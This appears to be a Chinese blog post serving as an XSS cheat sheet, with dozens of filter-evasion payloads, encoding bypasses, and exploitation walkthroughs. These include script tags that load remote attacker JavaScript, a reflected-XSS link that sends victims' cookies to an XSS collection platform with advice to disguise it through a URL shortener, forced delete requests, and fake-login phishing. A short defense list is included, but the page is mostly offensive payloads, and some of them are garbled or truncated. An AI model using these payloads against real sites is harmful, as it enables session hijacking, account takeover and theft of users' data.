漏洞分类
反射型XSS
非持久化XSS,需要欺骗用户去点击才会出发XSS代码。
存储型XSS
持久化XSS,恶意代码存储在服务器的数据库中,用户访问即可触发XSS代码。
DOM型XSS
特殊类型的反射型XSS,基于DMO文档对象模型的一种漏洞。
dom 型 xss 是用过改变 html 的属性或动作造成的 xss 型漏洞。
利用方式
常用语句
<script>alert (/XSS/ )</script>
<script > alert(1)</script >
<script > prompt (/xss/ );</script >
<script > confirm(1);</script >
<script > console .log (1 );</script >
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
1'OnMousEoVeR=prompt(1)//
1"OnMousEoVeR=prompt(1)//
1"OnMousEoVeR=alert(1)//
<a href="javascript:%70%72%6f%6d%70%74%28%31%29">xx</a>
//引号中间内容javascript:prompt(1)
闭合语句
"><span>x</span><"
'>"><span>x</span><'
"><span>x</span>//
语句大全
(1 )普通的 XSS JavaScript 注入
<SCRIPT SRC =http :
(2 )IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC =http :
(3 )IMG 标签无分号无引号
<IMG SRC =javascript :alert ('XSS' )>
(4 )IMG 标签大小写不敏感
<IMG SRC =JaVaScRiPt :alert ('XSS' )>
(5 )HTML 编码(必须有分号)
<IMG SRC =javascript :alert ("XSS" )>
(6 )修正缺陷 IMG 标签
<IMG "" "><SCRIPT>alert(" XSS ")</SCRIPT>" >
(7 )formCharCode 标签(计算器)
<IMG SRC =javascript :alert (String .fromCharCode (88 ,83 ,83 ))>
(8 )UTF -8 的 Unicode 编码(计算器)
<IMG SRC =jav..省略..S ')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S' )>
(10 )十六进制编码也是没有分号(计算器)
<IMG SRC =java..省略..XSS')>
(11 )嵌入式标签,将 Javascript 分开
<IMG SRC ="jav ascript:alert('XSS');" >
(12 )嵌入式编码标签,将 Javascript 分开
<IMG SRC ="jav ascript:alert('XSS');" >
(13 )嵌入式换行符
<IMG SRC ="jav ascript:alert('XSS');" >
(14 )嵌入式回车
<IMG SRC ="jav ascript:alert('XSS');" >
(15 )嵌入式多行注入 JavaScript ,这是 XSS 极端的例子
<IMG SRC ="javascript:alert('XSS')" >
(16 )解决限制字符(要求同页面)
<script>z='document.' </script><script>z=z+'write("'</ script><script>z=z+'<script'</script><script>z=z+'src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
利用场景
1.盗取账号密码;cookie
2.控制数据的增删改查
3.盗取主要数据信息
4.非法转账
5.强制发送电子邮件
6.网站挂马
7.控制受害者机器像其他网站发起攻击
第一 cookie劫持:
如果网站存在XSS漏洞,可以通过XSS漏洞来获取用户的cookie
危害:利用用户的cookie来进行登录用户后台
payload:<script>alert(document.cookie)</script>
反射型XSS利用:
http:// 192.168 .0 .115 /06 /vul/xss/xss_reflected_get.php?message=%3 Cscript%20src=http:// www.xss123.com/Pc1Ugp?1623757975 %3 E%3C/script%3E&submit=submit
将构造好的代码发送给管理员,或者攻击目标,如果受害者,访问这个拦截,就会获取用户访问这个网站的 cookie,如果是登录的 cookie,则攻击者把 cookie 替换受害者浏览器的 cookie,即可获取用户登录这个网站的登录权限。为了更加隐蔽的隐藏攻击代码,可以把当前的代码进行缩短。例如把 url 放入短网址平台,生成一个比较短的 url ,发送给目标。
第二 构造GET或POST请求:
黑客可以通过XSS漏洞,来使得用户执行GET或POST请求
危害:可以控制用户删除数据或者发送邮件
例如GET payload:
<script>window .location .href ='////www.xxx.com/index.php?type=delete&id=1' ;</script>
POST请求 需要线创建一个表单,然后让表单自动提交信息。
第三 钓鱼
我们从一开始的XSS漏洞简介可知道,XSS漏洞可以让我们对网页进行篡改,如果黑客在登录框的地方把原来的登录框隐藏一下,自己伪造一个登录框,用户在登录框上输入账号密码就会传送到黑客的服务器上
危害:获取用户账号密码
第四 识别用户浏览器
通过script语句能获得用户的浏览器信息
危害:获取浏览器信息,利用浏览器漏洞进行攻击
payload:<script>alert(navigator.userAgent)</script>
第五 识别用户安装的软件
通过script语句能够识别用户安装的软件
危害:获取用户软件信息,利用软件漏洞进行攻击
如下代码:
try {
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper' );
}
catch (e){
}
第六 获得用户真实ip地址
借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP
第七 判断用户是否访问某个网站
style的visited属性,访问过的链接,颜色会变化.
第八 蠕虫
用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.
如:2003年的冲击波蠕虫,利用的是Windows的RPC远程溢出漏洞
还有百度空间蠕虫,可自行百度搜一下
防御方式
过滤输入的数据,非法字符
对数据进行编码转换
添加HttpOnly
输入合法性检查
白名单过滤标签
DOM XSS防御
绕过方式
gpc 过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成\' xss 攻击代码不要带用单引号或双引号。
绕过 gpc 在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes()对特殊字符进行转义。
<script src ='http://www.xss123.com/JGdbsl?1623638390' > </script > 这个是执行不了的
<script src =http://www.xss123.com/JGdbsl?1623638390 > </script > 没有单引号可执行。
JS编码
https://www.jb51.net/tools/zhuanhuan.htm
八进制编码
<script > eval ("\141\154\145\162\164\50\61\51" );</script >
16 进制编码
<script > eval ("\x61\x6c\x65\x72\x74\x28\x31\x29" )</script >
JS unicode 编码
<script > \u0061\u006c\u0065\u0072\u0074 ('xss' ); </script >
HTML编码
在=后可以解析 html 编码
十进制
<img src ="x" onerror ="a l e r t ( 1 ) " />
<button onclick ="confirm('7' );" > Button</button >
十六进制
<img src ="x" onerror ="a l e r t ( 1 ) " />
URL编码
<a href="javascript:%61%6c%65%72%74%28%32%29" >123 </a>
长度绕过
标签绕过(标签闭合,标签优先性)
在程序里如果使用 html 实体过滤 在 php 会使用 htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执行。把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就不能执行了。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 " ’ (单引号)成为'
< (小于)成为 <
> (大于)成为 >
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。
<input type=" text" name=" username" value=" " onclick=" javascript:alert('xss' );"/>
window.name利用
Flash XSS
利用Javascript开发框架漏洞
利用浏览器差异
关键字、函数
过滤alert
当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可
<script > prompt (/xss/ );</script >
<script > confirm(1);</script >
<script src =http://www.xss123.com/eciAKj?1623635663 > </script >
ASCII 编码
<script > alert (String .fromCharCode (88 ,83 ,83 ))</script >
Base64编码
使用伪协议 base64 解码执行 xss
<a href ="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > 111</a >
<object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > </object >
<iframe src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > </iframe >
Bypass语句
<xss Bypass /onpointermove=(confirm)(1 )>MoveMouseHere
<svg><script xlink:href ="{ASCII}data:,alert(1)" > </script > </svg>
<img src=1 onerror="a:b:c:d:alert(1)">
<a/href="javascript%0A%0D:alert()">
<svg onload=alert%26%230000000040"")>
<svg onx=() onload=(confirm)(1)>
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
<object/data=javascript:alert()>
<svg onload=alert("")>
<lol/onauxclick=[0].some(alert)>rightclickhere
<svG/x=">"/oNloaD=confirm()//
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!